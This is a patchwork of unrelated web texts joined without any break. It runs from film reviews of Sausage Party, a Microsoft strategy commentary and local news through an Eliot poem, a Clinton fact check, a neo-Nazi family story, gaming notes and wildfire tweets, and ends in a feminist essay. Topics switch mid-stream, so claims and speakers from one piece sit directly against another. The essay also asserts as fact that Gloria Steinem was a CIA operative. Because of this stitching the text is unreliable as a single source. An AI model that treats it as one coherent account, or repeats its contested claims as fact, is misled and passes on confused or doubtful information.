On review aggregation website Rotten Tomatoes the film has an approval rating of 82% based on 208 reviews, with an average rating of 6.8/10. The site's critical consensus reads, "Sausage Party is definitely offensive, but backs up its enthusiastic profanity with an impressively high laugh-to-gag ratio – and a surprisingly thought-provoking storyline."[36] On Metacritic, the film has a score of 66 out of 100, based on 39 critics, indicating "generally favorable reviews".[37] Audiences polled by CinemaScore gave the film an average grade of "B" on an A+ to F scale.[38]
Vince Mancini of Uproxx wrote "Sausage Party's most charming quality is that it feels exactly like a group of 13-year-olds trying to entertain themselves, with excessive C-bombs and constant groan-worthy food puns."[39] Richard Roeper gave the film three out of four stars, saying, "Despite all the cursing and envelope-pushing and bat-bleep crazy sexual stuff, Sausage Party isn't mean-spirited. It's just … stupid. But also pretty smart. And funny as hell."[40] Lindsey Bahr of Associated Press gave the film a positive review and wrote: "There is no one out there making comedies quite like Rogen and Goldberg. They are putting their definitive stamp on the modern American comedy one decency-smashing double entendre at a time."[41]
Accolades [ edit ]
Controversies [ edit ]
Work conditions [ edit ]
After release, controversy emerged after anonymous comments attributed to the animators on a Cartoon Brew article suggested that the animators at Nitrogen Studios worked under poor conditions and were forced by director Greg Tiernan to work overtime without pay.[51] A total of 36 of the 83 animators were blacklisted and went uncredited in the film, believed to be due to their complaints; comments made in anonymous interviews by some of the animators involved in the project by Variety, The Washington Post, and The Hollywood Reporter alleged that the comments were accurate. All the animators in the film were reportedly told outright that they would be blacklisted if they did not work overtime without pay.[51][52][53]
Rating in France [ edit ]
The film was granted a −12 certificate by France's classification commission. Jean-Frédéric Poisson, the President of the Christian Democratic Party, criticized the decision and said, "An orgy scene for 12-year-olds! Everything remains to be done to combat early exposure to pornography".[54]
Possible sequel [ edit ]
Rogen expressed interest in making a Sausage Party 2 and more animated films aimed for adults. When asked about the possibility of a sequel, Rogen stated, "It's something we talk about, yeah. That's one of the reasons why we took away the [original] ending[55] because we thought, well, if that was the first scene of the next movie it's probably not what you would want it to be, with them just seeing us and finding us basically. But the idea of a live-action/animated movie, like a Who Framed Roger Rabbit-style hybrid, is also very exciting, mostly because Who Framed Roger Rabbit is one of my favorite movies of all time."[56]
Video game [ edit ]
Frank and Brenda, two main characters from the film, make guest appearances in the mobile fighting game Sausage Legend, released by Milkcorp for iOS and Android, as part of a limited special event, running from March 6 through July 31, 2017.[57][58] As this game involves dueling with sausages, players in this game can unlock and control Brenda, who swings Frank around to battle other sausages.[59]
In an email to Microsoft employees today, CEO Satya Nadella outlined the core of the company’s strategy and vision and focus for the coming years. Nadella underscored his message to the world from earlier this year that Microsoft is a company focused on “ubiquitous computing and ambient intelligence” in a mobile-first, cloud-first world. Today, Nadella took those vague basic concepts a step further.
Microsoft provides computers, software and operating systems so you can get your shit done.
Nadella stated:
At our core, Microsoft is the productivity and platform company for the mobile-first and cloud-first world. We will reinvent productivity to empower every person and every organization on the planet to do more and achieve more.
Productivity is the name of the game throughout Nadella’s 3,186-word statement, with the rest of your life somehow tacked on as an afterthought to everything else Microsoft is doing. The word “productivity” shows up in Nadella’s message 20 times; variations of the word “work” make 27 appearances. He says that Microsoft must be a company hyper-focused on its customers. But the tenor and tone of the missive makes one thing abundantly clear.
You and I are not the customers he is thinking about.
Here Comes The New Boss, Same As The Old Boss
Nadella’s pitch is not to the average consumer, the normal person working an everyday job that uses a computer and a smartphone to get things done. No, we are just a consequence. Nadella is really pitching the IT departments of the world, the decision makers who ostensibly choose the devices we will use to be productive.
Nadella seems to forget that the biggest that the biggest trend in the employee/gadget realm over the last seven years has been “bring your own device.” Over that time, many—OK, the vast majority—of those devices have not come from Microsoft.
We will deliver digital work and life experiences that are reinvented for the mobile-first and cloud-first world. First and foremost, these experiences will shine for productivity. As a result, people will meet and collaborate more easily and effectively.
It’s hard to say that Nadella’s focus on productivity is a winning message in the mobile-first world he keeps talking about. In his vision, people are apparently employees first and people second. Throughout Nadella’s statement, the notion of your personal life always comes second after the notion of productivity. A division of Microsoft is even called “Digital Work & Life Experiences”—and the order in which those terms appear is no accident.
Nadella states:
We think about productivity for people, teams and the business processes of entire organizations as one interconnected digital substrate. We also think about interconnected platforms for individuals, IT and developers. This comprehensive view enables us to solve the more complex, nuanced and real-world day-to-day challenges in an increasingly digital world. It also opens the door to massive growth opportunity – technology spend as a total percentage of GDP will grow with the digitization of nearly everything in life and work.
Microsoft biggest competitors on the device, operating system, cloud and services fronts are Apple and Google. Nadella doesn’t mention either by name, but the insistence on work and productivity is Microsoft’s way of setting itself apart from Apple and Google’s finely tuned machines.
The difference is that Apple and Google focus on people—Apple more so than Google. Through Mac OS X and iOS, Apple provides quality products first; if people want to take them to work and be productive with them, that’s their prerogative.
That’s been a fantastically successful strategy for Apple, one that played a huge role as it clawed itself back from the brink of death in the mid-to-late 1990s. Now enough people have carried iPhones and iPads into the workplace that IT departments have been forced to adapt to employees rather than the other way around. Google has also had this same effect through pure volume: it ships so many Android devices that people across the globe are bound to use them for work.
Microsoft doesn’t have the benefit of Google’s volume—at least outside of largely desktop-bound Windows systems—or Apple’s style. Hence Nadella has to focus on selling his company’s core products and services inside-out from the model its rivals have perfected. In other words, as far as Microsoft is concerned, you work all the time. Its job is just to make it easier for you to work.
Microsoft: Same As It Ever Was
The work/life balance message has always been at the heart of the difference between Apple and Microsoft. In the 1980s and 1990s—when IT departments held all the power of which device people used—this was a winning message for Microsoft. But that world is mostly gone. Apple has proven that it can win by putting people and experiences first and force the IT department to adapt.
Google’s take on this dichotomy is a little different, as befits the fact that it’s fundamentally an advertising company. Google just wants as many people on the Web as possible; everything it does serves that purpose, especially Android. Google doesn’t necessarily serve people or employees first—it serves the Web, which ties everything together (including, of course, its advertisers).
Nadella, in noting how Microsoft’s employee culture needs to change, hammers the company’s focus:
We have clarity in purpose to empower every individual and organization to do more and achieve more. We have the right capabilities to reinvent productivity and platforms for the mobile-first and cloud-first world. Now, we must build the right culture to take advantage of our huge opportunity.
Microsoft may have a new CEO, a new culture and a new worldview on software development and distribution. But at heart, it’s still really the same old company.
Buy Photo Police say they found 500 pounds of marijuana Feb. 2, 2016, in a semitractor-trailer outside the Wal-Mart in the 8300 block of East 96th Street in Fishers. (Photo: Olivia Lewis / IndyStar)Buy Photo
The largest drug bust in Fishers' history occurred outside of a Wal-Mart Supercenter on Tuesday.
Five hundred pounds of marijuana was seized by the Fishers Police Department around 4 a.m., police said. They found the drugs in a semitractor-trailer parked outside of the store in the 8300 block of East 96th Street.
Authorities reported suspicious activity when two men were found in the semitractor waiting to "make a delivery," police said. Drug-sniffing dogs were called to the scene. Police found drugs in the trailer during a search, police said.
Two men, a driver and a passenger, were detained. Investigators were told only the driver knew about the marijuana. The passenger was released.
The driver, Isaac Roberto Aristiga Bojorquez, 25, of Mexico was arrested on suspicion of intent to deliver more than 5 pounds of marijuana.
Tuesday's drug bust marked the largest in Fishers' history, said Sgt. Tom Weger, spokesman with Fishers police.
The truck, which police said wasn't connected to Wal-Mart, also contained coffee creamer. A different truck was used to move the creamer to its original destination in Anderson.
Police have not said who the truck is registered to. An investigation is ongoing.
IndyStar reporter Justin Mack contributed to this story. Call IndyStar reporter Olivia Lewis at (317) 444-6126. Follow her on Twitter: @TheWrittenPeace.
Goldsbie: Toronto City Council’s current structure dates from December 1999, when Tony Clement, then the province’s Minister of Municipal Affairs and Housing, introduced the Fewer Municipal Politician Act, specifying that Toronto was to have exactly 44 councillors (down from the 56 of the first post-amalgamation term, and from nearly a hundred across the pre-amalgamation municipalities). He further decreed that the new wards should be drawn by bisecting the then-current provincial and federal ridings, which were based on population data from the 1991 census. Because the law was adopted immediately prior to the 2000 election, councillors had to rush through the new boundaries so that nominations for candidates could open at a reasonable time. Only now, 15 years later, is Toronto embarking on a proper project to craft a new map that meets its needs. The Toronto Ward Boundary Review (aka Draw the Lines
) involves a team of outside consultants who are looking at what will be required for “effective representation” through 2031. Given that Toronto continues to experience remarkable growth and changing population patterns, the boundaries will be shifted to ensure that all wards will have similar numbers of residents. But the consultants are also examining the question of how many residents per councillor would be too many and whether the number of councillors should therefore be changed. To paraphrase questions from the official survey, how many wards do you think should Toronto have and how many people should be in each?
Selley: We don’t need more, that’s for sure. While we might disagree on specific areas of overreach, I suspect we can all agree the city is over-governed as it is. A city council that has the time and the inclination to ban new businesses from opening on Ossington and Queen West, consistently study entrepreneurs’ and residents’ desires vis-à-vis street food and never fulfill them, and debate every halfway-controversial liquor license, parking pad or imperilled tree, is not one that needs more members. (And those members should really be deciding a lot of that crap at community councils.) If council’s existing members are overworked, their recourse is obvious: Stop messing around with successful things that run themselves and get busy helping their constituents. It may well be that as the population grows — what a nice problem to have! — certain councillors will be able to make a compelling case for more staff help, and I have no problem with that: It’s staff who solve most of the problems anyway. But I see no compelling reason even to be considering expanding council. New York gets by with 165,000 people per councillor; we’re currently at about 60,000. Redraw the boundaries in as close accordance to population as possible and be done with it.
Gurney: This is one of those issues that is simultaneously really, really boring but also so, so interesting. The details are pretty eye glazing but the overall point of the matter, obviously, is literally fundamental to our democracy and government. It’s also a good opportunity to sit back and scratch our heads a bit and remind ourselves just how much frickin’ change this city has gone through and how much more is still to come in even the near term. We’re fast closing in on the 3,000,000 mark. To dive into your questions, I’m not sure there’s a perfect answer to how many councillors we need, though I’m philosophically hardwired to want that number as low as feasible. I’m also not sure there’s such a thing as the right number of residents, and I’m not bothered too much if there is some variation in the ward-wide numbers. If I recall correctly, and I’m admittedly speaking from memory here, the idea for federal electoral ridings is that each should have about 100,000 residents, and there shouldn’t be a differential of more than plus/minus 10% off the national median in any riding. That’s as good a yardstick as any to use in Toronto’s case — keep things reasonably close while acknowledging that certain wards will be bigger or smaller than others on a case-by-case basis. Overall, though, I’m not convinced we need more city councillors than we do MPs or MPPs. That would mean about 26 wards in Toronto, down from our current 44. I could live with that.
Goldsbie: The courts have defined the role of an elected official as incorporating both legislative (policy) and ombudsman (constituency) functions. The simplest reason that we have more councillors than MPs or MPPs is that they oversee more services with which constituents regularly interact, and make more decisions that have immediate, tangible effects on people’s lives. Issues of roads, transit, electricity, water, garbage, police, fire, paramedics, parks, development, licensing, and planning are all within a councillor’s mandate. When was the last time you appealed to your Member of Parliament to help navigate a regulatory puzzle or mediate a local dispute? This is not to accuse MPs of having an easy time: if they’re any good at their jobs, our representatives at all three levels of government are working around 60 hours a week or more. The challenge is keeping that workload manageable in a city whose population is growing as rapidly as ours (about 20% over the next decade and a half). Especially given that managing that growth (development applications, infrastructure expansion, etc.) is a very big part of the job for councillors in areas experiencing the most transformation. Could this be accomplished through an increase in support staff? It wouldn’t hurt. But not unreasonably, people would rather have the ear of their decision-maker than that of his or her assistant. If we added six new wards, that’d put the average population at about 65,000 by 2031, up from about 61,000 now. That seems OK.
Selley: It doesn’t seem even remotely outrageous, I agree. But wouldn’t it also “seem OK” to keep the same number of councillors and redraw the lines such that they all have the same number of constituents? Wouldn’t that also be non-outrageous? We already have councillors representing more than 61,000 people, and the world hasn’t ended in those wards. That inequity strikes me as the biggest problem that needs solving. Of course 44 is an arbitrary number, but so is 50 — and I’m not seeing why the latter is any more compelling than the former.
Dev Blog: Raid Rewards 3
We've made a number of changes to the raids rewards we previously offered. With a complete rework for the elder wand and dragon thrownaxe, we thought another dev blog was in order!
From the game update on Thursday we will be opening a beta world in which you'll be able to get your hands on prototype versions of the elder weapons. If you're curious to see exactly how they'll be in game, you'll have a chance later on this week!
Elder maul
Elder wand (updated)
Kodai robes
Dragon platebody (updated)
Dragon thrownaxe (updated)
Dragon sword
Forgotten prayers (updated)
These groups include the National Sheriffs' Association, the International Association of Chiefs of Police, the National Narcotic Officers' Associations' Coalition, the National Association of Police Organizations and the Major County Sheriffs' Association, The Huffington Post has learned.
They hope to weaken congressional support for the Smarter Sentencing Act, which would reform the nation's mandatory minimum statutes, authorizing federal judges to sentence drug defendants to less time behind bars than what current law requires. The legislation passed the Senate Judiciary Committee in January, when, in a rare instance of bipartisan collaboration these days, Republicans Mike Lee of Utah, Ted Cruz of Texas and Jeff Flake of Arizona joined the committee’s Democrats in supporting the measure. Its House counterpart is still sitting in committee.
Republicans and Democrats alike have argued that the bill would allow the federal government to get control of its burgeoning prison budget and free up resources needed for other public safety initiatives, such as programs that help former prisoners find work and housing.
But Bob Bushman, president of the National Narcotic Officers' Associations' Coalition, one of the groups fighting the bill, contends that state and local governments could end up bearing some of those same costs. To compensate for the federal government’s softer approach, he argues, states and counties would be compelled to lock up more people than they do now.
Major drug dealers “need to be locked up somewhere,” Bushman told HuffPost. “Some of these folks have worked hard to get to prison."
Supporters of the bill respond that this argument overlooks an important fact about federal prisons. “We have a lot of people in the federal system now who are not major dealers, people who are convicted of low-level drug, nonviolent crimes who do not deserve long sentences,” said Jesselyn McCurdy, an attorney in the Washington Legislative Office of the American Civil Liberties Union.
A number of law enforcement agencies have already joined advocacy groups like the ACLU in endorsing the bill. They include the Major Cities Chiefs Association, the International Union of Police Associations, the American Correctional Association, the International Community Corrections Association and the American Probation and Parole Association. Attorney General Eric Holder backs the measure as well.
Bushman and his allies, however, aren’t the first law enforcement advocates to speak out against the bill. The Federal Law Enforcement Officers Association and the National Association of Assistant United States Attorneys have also come out against federal sentencing reform in recent months. Unlike Bushman’s cohorts, both of these groups represent officials who work for the federal government, and both have stated their positions in public.
The National Narcotic Officers' Associations' Coalition, the National Sheriffs' Association and the other state and local groups have been working behind the scenes. Several of them had previously lined up against Debo Adegbile, the president's nominee to head the Justice Department's Civil Rights Division, and helped block his confirmation last month.
Lobbyists with the National Association of Police Organizations and other groups visited the offices of Sens. Dianne Feinstein (D-Calif.), Kay Hagan (D-N.C.), Amy Klobuchar (D-Minn.) and John Walsh (D-Mont.) to discuss the groups' opposition to the reform package.
A spokeswoman for the International Association of Chiefs of Police confirmed that the organization was lobbying against changes on Capitol Hill, but said it wasn't prepared to speak publicly on the topic.
Fred Wilson, an official with the National Sheriffs' Association, said his group isn't formally opposed to the legislation in principle but believes the bill needs more study -- even though it has already passed through the Senate Judiciary Committee. "It may be [late], but our legislative folks seem to think not all is lost," Wilson said.
A letter from Bushman and his group to Senate Majority Leader Harry Reid (D-Nev.) and Senate Minority Leader Mitch McConnell (R-Ky.) -- just one of several letters written by the Smarter Sentencing Act opponents that Bushman said are floating around Capitol Hill -- argues that federal policy should not be driven by "second-order effects of America’s drug problem" like incarceration costs.
If Bushman and his allies manage to undermine the bill, it won’t be the first time that members of law enforcement have successfully scaled down efforts to reform federal sentencing.
Several law enforcement organizations opposed the Fair Sentencing Act of 2010, which reduced the disparity between mandatory minimum sentences for crack and powder cocaine. Under the previous law, the disproportionately large numbers of black men arrested for crack offenses faced far harsher sentences than their white counterparts, who were more likely to be arrested for offenses involving powder cocaine. Initially, some law enforcement groups suggested increasing the penalties for powder cocaine, rather than decreasing those for crack. Although that didn't happen, their opposition ultimately led to a compromise bill that significantly reduced, but didn't eliminate, the sentencing disparity.
Bushman said it was "a little early" to talk about whether law enforcement groups could be won over with a compromise bill this time, but said members of Congress first need to look at the "broader implications" of rolling back mandatory minimums.
The winter evening settles down
With smell of steaks in passageways.
Six o’clock.
The burnt-out ends of smoky days.
And now a gusty shower wraps
The grimy scraps
Of withered leaves about your feet
And newspapers from vacant lots;
The showers beat
On broken blinds and chimney-pots,
And at the corner of the street
A lonely cab-horse steams and stamps.
And then the lighting of the lamps.
II
The morning comes to consciousness
Of faint stale smells of beer
From the sawdust-trampled street
With all its muddy feet that press
To early coffee-stands.
With the other masquerades
That time resumes,
One thinks of all the hands
That are raising dingy shades
In a thousand furnished rooms.
III
You tossed a blanket from the bed,
You lay upon your back, and waited;
You dozed, and watched the night revealing
The thousand sordid images
Of which your soul was constituted;
They flickered against the ceiling.
And when all the world came back
And the light crept up between the shutters
And you heard the sparrows in the gutters,
You had such a vision of the street
As the street hardly understands;
Sitting along the bed’s edge, where
You curled the papers from your hair,
Or clasped the yellow soles of feet
In the palms of both soiled hands.
IV
His soul stretched tight across the skies
That fade behind a city block,
Or trampled by insistent feet
At four and five and six o’clock;
And short square fingers stuffing pipes,
And evening newspapers, and eyes
Assured of certain certainties,
The conscience of a blackened street
Impatient to assume the world.
I am moved by fancies that are curled
Around these images, and cling:
The notion of some infinitely gentle
Infinitely suffering thing.
Wipe your hand across your mouth, and laugh;
The worlds revolve like ancient women
Gathering fuel in vacant lots.
Hillary Rodham Clinton listens as Vietnam War veteran Bob Hannan speaks during a veterans roundtable discussion in Derry, N.H. (Brian Snyder/Reuters)
“He looks at me and goes, ‘Um, how old are you. And I said, ‘Well I am 26, I will be 27.’ And he goes, ‘Well, that is kind of old for us.’ And then he says to me, and this is what gets me, ‘Maybe the dogs will take you,’ meaning the Army.”
–Former secretary of state Hillary Rodham Clinton, speaking at a breakfast, Manchester, N.H., Nov. 10, 2015
One Clinton story that has often been greeted with skepticism is her claim, first made in 1994, that she once tried to join the Marines in 1975. On the campaign trail, she brought up the story again. (Go to the 1:35 mark.)
Can this story be confirmed?
The Facts
Clinton first told this story while addressing a lunch on Capitol Hill honoring military women, about 17 months after becoming first lady:
“You’re too old, you can’t see and you’re a woman,” Mrs. Clinton said she was told. “Maybe the dogs would take you,” she recalled the recruiter saying. (Actually the military slang is “dogfaces.”) “It was not a very encouraging conversation,” she said. “I decided maybe I’ll look for another way to serve my country.”
It’s fair to say The New York Times account, written by then-reporter Maureen Dowd, was highly skeptical. Dowd noted:
“At the time, Hillary Rodham was an up-and-coming legal star involved with an up-and-coming political star.”
“She had made a celebrated appearance in Life magazine as an anti-establishment commencement speaker at Wellesley College, where, as president of the student government, she had organized teach-ins on her opposition to the Vietnam War.”
“She was a Yale law school graduate who had worked on the anti-war Presidential campaigns of Eugene J. McCarthy and George McGovern.”
“Mrs. Clinton told friends that she had moved to Arkansas for only one reason: to be with Bill Clinton.”
The Clintons married on Oct. 11, 1975, in Fayetteville.
Dowd asked: “So, if she was talking to a Marine recruiter in 1975 before the marriage, was she briefly considering joining the few, the proud and the brave of the corps as an alternative to life with Mr. Clinton, who was already being widely touted as a sure thing for Arkansas Attorney General?”
Clinton’s spokesman at the time, Neel Lattimore, speculated (without any apparent evidence) that perhaps the law school graduate was thinking of joining the Judge Advocate General’s Corps.
(Update: A former Marine lawyer, who was actively recruiting for the JAG at the time, says it is “ludicrous” to suggest someone with Clinton’s skills would have been rejected. Since the draft had ended, “we were frantic for lawyers,” he said, declining to be identified. Neither age nor eyesight would have been issue, he added. Many of the newly recruited lawyers were at least 26 years old and eyesight was only an issue for pilots, he said. Some lawyers he worked with had glasses the “size of Coke bottles.” Another Marine lawyer, who served between 1973 and 1978, confirmed this account, saying that one of the Marine lawyers he served with was a woman who weighed 200 pounds. “They desperately needed lawyers,” he said.)
Tony Kornheiser, then a Washington Post columnist, was equally skeptical:
Last week, I was stunned to learn that in 1975 Hillary tried to enlist in the Marines. (Possibly she was looking for a few good men, as she was about to marry a man who was looking for a few good women.) My first reaction was that it sounded like something that arose out of a drunken bar bet. You know, like when guys dare each other to do something stupid — say, take off their trousers, pull their underpants over their head and whistle the theme to “Gilligan’s Island” — except this must have been a group of female lawyers. Imagine it. A bar scene. Hillary Rodham Clinton-to-be says, “Yeah, well, if you’re so smart, I dare you to argue the pro-life position, that the state has the right to force women to carry unwanted pregnancies to term.” And Camille O’Rourke-Lefkowitz responds, “Oh, yeah? Well, I dare you to shave your legs and join the Marines.”
Yet our former colleague David von Drehle reported that Clinton’s friends at the time “confirmed the story, though they were hazy on the details.” Diane Blair, who passed away in 2000, told von Drehle, “All I can remember is that she looked into it.”
Another friend, then University of Arkansas professor Ann Henry, said she recalled the incident happened in the context of the lack of opportunity for women. Sometimes female faculty members went out to conduct “tests” of access to various careers seemingly closed to women, Henry told von Drehle.
Reached by phone after Clinton’s latest remarks, the now-retired Henry said that she still recalls the discussion about testing the limits. She said conversations grew out of the state’s Commission on the Status of Women, which was created in 1971 and chaired by Blair, then known as Diane Kincaid. Henry said there were Marine recruiting offices on campus, and so Clinton could have easily stopped by one to conduct such a test.
But would women at the time need to test the Marines? Women have been part of the Marines since 1918, and were deployed to Korea in the 1950s. “By the height of the Vietnam war, there were about 2,700 women Marines served [sic.] both stateside and overseas,” according to the Women Marines Association. “By 1975, the Corps approved the assignment of women to all occupational fields except infantry, artillery, armor and pilot/air crew.”
In fact, when Clinton first told this story in 1994, a Marine spokesman felt compelled to issue this statement: “We won’t attempt to dispute the first lady’s recollection, but if she was ill-treated by a Marine recruiter in 1975, it certainly is unfortunate, unprofessional and a mistake we regret.”
Complicating matters is that in 2008, Bill Clinton told an audience that his future wife tried to join the Army. “I remember when we were young, right out of law school, she went down and tried to join the Army and they said ‘Your eyes are so bad, nobody will take you,'” he said.
Of course, this leaves open the possibility that she did try to join the “dogs” after the Marine Corps brush-off.
As far as we can tell, the only time a journalist quizzed Clinton about this incident was in 2007, when Michael Crowley wrote a profile for The New Republic. In a brief interview, he asked what should people make of the fact that she had briefly tried to enlist in the military. He wrote: “At this her eyes narrowed and she threw me a glare of mistrust. ‘I have very deep and quite broad relationships with people in the military,’ she said. As for the meaning of the recruiting visit, ‘I can’t tell you,’ she said with a dismissive wave. ‘You go look at that.'”
A campaign spokesman initially did not offer a comment but on the evening of Nov. 12, spokesman Nick Merrill issued a statement appearing to take issue with the recollections of her friends. The statement also suggests the visit to the Marine recruiter took place in 1974, not 1975:
“As she has noted in the past, Hillary visited a Marine recruiter shortly after moving to Arkansas because she was interested in exploring options for serving in the military. She did not pursue the idea further and her sole reason for visiting the recruitment center was to determine if there was a suitable opportunity for her to serve in some capacity. Her interest was sincere and it is insulting, but not surprising, that Republicans would attack her for this, too.”
The Pinocchio Test
At first glance, this story doesn’t really add up, for the reasons that Dowd initially outlined. But as we noted The Post did locate friends who recalled she had tried to join the Marines, though the circumstances are fuzzy.
Clinton suggests she simply decided to join the Marines, as part of way to serve the country. But it makes more sense that she approached the Marines as part of a deliberate effort to test the boundaries available to women, especially given her documented antiwar activities.
As Ben Carson can attest, memories can get hazy after 40 years (or even 21 years). There are enough holes here that Clinton has an obligation to address the circumstances under which she approached the Marines, now that she had once again raised it in a campaign context.
So far, we do not have enough documentary proof to say the incident never happened, such as supposedly landing under sniper fire in Bosnia or getting the date wrong for hearing a speech by Martin Luther King Jr. (Both of these were written by Michael Dobbs, who originated The Fact Checker during the 2008 campaign.) This is simply a personal recollection — one that at least two friends have confirmed they had been told about at the time.
But the circumstances are in question. She pitches it as a matter of public service, but her friends suggest it was something different. So at this point Clinton’s story is worthy of Two Pinocchios, subject to change if more information becomes available.
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Thomas doesn’t care what’s on your birth certificate—only what’s in your heart. If a student identities as male, he’ll call them a wimp-ass momma’s boy while knocking their head against a locker. If they identify as female, he’ll gladly call them a fucking bitch while holding them in a headlock and spitting down the back of their shirt. In a time when we hear about conservative lawmakers banning kids from bathrooms, it’s heartwarming to know that Thomas will ambush his victims and give them a swirly no matter which bathroom they enter. Beautiful!
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‘A person makes a person, a name doesn’t,’ he said in Meet The Hitlers – a new documentary available on iTunes.
‘I have different beliefs. I believe in whites (living) with whites, blacks with blacks, Spanish with Spanish. I don’t see anything wrong with that.’
MORE: Guy works out how to live a rent-free existence
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Campbell and his wife Picture: Meet the Hitlers)
The Hitler fan called his other kids Honzlynn Jeannie, JoyceLynn Aryan Nation and Heinrich Hons.
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The last name may ring a bell because it was the name of a leading figure in the Nazi party – Heinrich Himmle.
Campbell, who has two Swastika tattoos, caused controversy in 2008 after a ShopRite supermarket denied his request to put Adolf Hitler on his son’s cake for his birthday.
New Jersey social services denied Eva‘s name had anything to do with her being taken away and instead blamed safety concerns.
He caused controversy when he tried to get a birthday cake for his son Picture: Meet the Hitlers)
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Yoshihiro Togashi (Hunter x Hunter) published the original Yu Yu Hakusho manga from 1990 to 1994. Viz Media began publishing the manga in its English edition of Shonen Jump in 2002, and it also released all 19 volumes. The manga follows 14-year-old delinquent Yusuke Urameshi, who dies after saving a child in a car accident. The Spirit World is surprised by his death and offers him a chance to come back as a "spirit detective" who is tasked with defeating demons.
The television anime adaptation ran from 1992 to 1995 and is celebrating its 25th anniversary this year. The series also inspired two films and two original video anime (OVAs). Funimation Entertainment released the television series and OVAs on home video in North America. Media Blasters and later Funimation released the first film and Central Park Media released the second film. The television series ran on Adult Swim and later Toonami.
The manga is inspiring a new Yu Yu Hakusho 100% Maji Battle (100% Serious Battle) smartphone game that reunites the anime's cast members. The app is available now.
As a whole, player overalls will be lower and more spread out than they have been in previous years. There are a few reasons for this change happening.
First, it spreads out the talent from first liners to fourth liners to improve Franchise Mode logic. This means that there is a more defined gap between a player’s value in Franchise Mode and will affect any player transaction from trades to waivers.
Since talent is more spread out throughout the league, it also allows the superstars like Connor McDavid and Sidney Crosby to be even more valuable to have on your team. The top stars provide you with an advantage, so you will want to do your best to have a superstar player on your team.
Finally, top prospects like Nolan Patrick and Nico Hischier will be ready to step into the NHL straight out of the NHL® Entry Draft. This will allow for more authentic drafting as generally the top picks out of every NHL® Entry Draft class are able to step in and make an impact in the NHL.
Below is a general guide to how veteran NHL players fit in with their overall in NHL® 18. There will be some crossover as there are players in real-life who find themselves right in between a second line forward and third line scoring forward role:
Forwards:
First Line Forward = 85 OVR - 99 OVR
Second Line Forward = 82 OVR - 85 OVR
Third Line Scoring Forward = 80 OVR - 82 OVR
Third Line Checking Forward = 78 OVR - 80 OVR
Fourth Line Forward = 75 OVR - 78 OVR
Defensemen:
Top 2 Defenseman = 87 OVR - 99 OVR
Top 4 Defenseman = 81 OVR - 87 OVR
Top 6 Defenseman = 78 OVR - 81 OVR
Top 8 Defenseman = 75 OVR - 78 OVR
Goaltenders:
Elite Goaltender = 87 OVR - 99 OVR
Starting Goaltender = 82 OVR - 87 OVR
Backup Goaltender = 75 OVR - 82 OVR
Stay tuned for our ratings reveals!
Pre-order NHL® 18
EA SPORTS NHL® 18 delivers the creativity of today's young NHL with new Creative Attack controls and the first-ever Defensive Skill Stick. Play the fast-paced, arcade-inspired 3-on-3 EA SPORTS™ NHL® THREES mode, or reshape the league entirely with the new Expansion Draft and your own custom 32nd NHL team. Do it all with the most co-op and competitive multiplayer options ever delivered in an EA SPORTS NHL game.
#ThomasFire This is an updated perimeter map. This fire is burning in steep terrain with 25 to 30 mph wind. #VCFD @VCFD pic.twitter.com/S4IVeWRInU — VCFD PIO (@VCFD_PIO) December 5, 2017
#ThomasFire - mandatory evacuations ordered for East Ventura, north of foothill Road. The rapid rate of spread will push this fire into that area within a few hours. pic.twitter.com/wfYwI2S8vu — VCFD PIO (@VCFD_PIO) December 5, 2017
The founding mothers of the Women’s Liberation Movement were socialists. We were activists who came from committees against the war in Vietnam. We believed that since we were at the bottom of the wage scale, if we demanded an equal chance for all women, we would rise and bring everyone with us to create an America with full equality for all. Instead, we helped to create near equality for women within a system of ever greater class inequality.
A new kind of movement is clearly needed to re-energize our struggles for equality and for a society that values the happiness of all over the power or profits of a few.
I was inspired to write this article after some sensible young activists formed a renewed socialist party in New York City and then asked for my ideas about feminism. In the pages that follow, I will do my best to analyze why the Women’s Liberation Movement of the 1960s and ’70s lost its vitality, to envision a path out of passivity and toward mass political engagement, and to sketch out what might be an appropriate feminist platform for 2011.
I did not conceive of this platform alone. After I wrote an initial version of my ideas, I sent them to a brilliant political friend with many years of political experience. My friend and I then consulted with Gretchen Van Dyck, a wise twenty-three-year-old feminist from the New York Socialist Party. Together we crafted the Platform for the Pursuit of Happiness that appears at the end of this article.
Why the Feminist Movement of the 1960s Lost Its Vitality
I became a feminist in 1968 when we began what we then called the Women’s Liberation Movement. The America of 1968 was starkly different from the one that young people now confront. Unemployment was about 3 percent. Job opportunities for white men were omnipresent. White men were paid a family wage whether they had a family or not. Jobs for women were available, albeit at lower wages and in fewer sectors. Men of all colors earned more than women did. Education guaranteed a job, even though a lesser one for women or people of color. The United States and the U.S. dollar were the kings of the world. In that prosperous America, women were paid fifty-nine cents of every dollar of men’s pay, even when women supported their families alone or worked side by side with men on the same job. That was the historical context of the feminist movement of 1968 to the late 1970s, which later lost its vitality through a combination of forces within itself and a transformation in the U.S. economy.
One of the women’s movement’s largest mistakes was its failure to maintain its original insistence on class justice as well as gender justice. Whatever class consciousness our movement had was usurped by successful organizing under the clever leadership of the CIA operative Gloria Steinem (for the most recent documentation of this, read Charles Trueheart’s Bloomberg article, “What Gloria Steinem and Henry Kissinger Have in Common: CIA Pay” and The Mighty Wurlitzer: How the CIA Played America by Hugh Wilford). Many were and still are shocked to learn of Steinem’s CIA connections. They have been kept from wide publication until recently and of course they were never reported on television. These facts were first unearthed in Ramparts magazine in March 1967, as part of a revelation of the CIA’s role in international youth festivals (“Who Paid the Piper”). They were followed by later revelations in The Village Voice in 1979, which exposed Steinem’s particular role within the CIA and the Women’s Liberation Movement (“Inside the CIA with Gloria Steinem” by Nancy Borman, May 21, 1979). Steinem’s voice was never the only voice in the feminist movement. However, her rich funding and expertise combined with our naïveté to blunt the impact of class awareness and power for the mass of U.S. women.
The mainstream feminist movement thus became a movement for gender equality within our current increasingly unequal America. It lost its mass base and class dimension. It devolved into separate issue projects of importance to the female gender, such as groups for abortion rights (for those who can pay for abortions), and legislation to help women, particularly those with education, to enter previously male professions. Three-quarters of working women, particularly uneducated women, still work in pink-collar jobs.
Larger women’s groups such as the National Organization for Women (NOW) worked to pass legislation protective of women. They lobbied for pro-female legislation within our highly unrepresentative two-capitalist-party system. The feminist movement became a series of projects working for equality with men. We achieved near equality for women within the American system of gross inequality. We lost our vision of a just, equitable society for all people.
We made another serious mistake. We understandably wanted to be included in the valued, rewarded, economically powerful areas of life from which we were excluded. We wanted jobs; careers; economic independence; and intellectual, social, and political power. We wanted to be in the sectors that are rewarded, recognized, and funded in American culture. Of course, those are worthy goals.
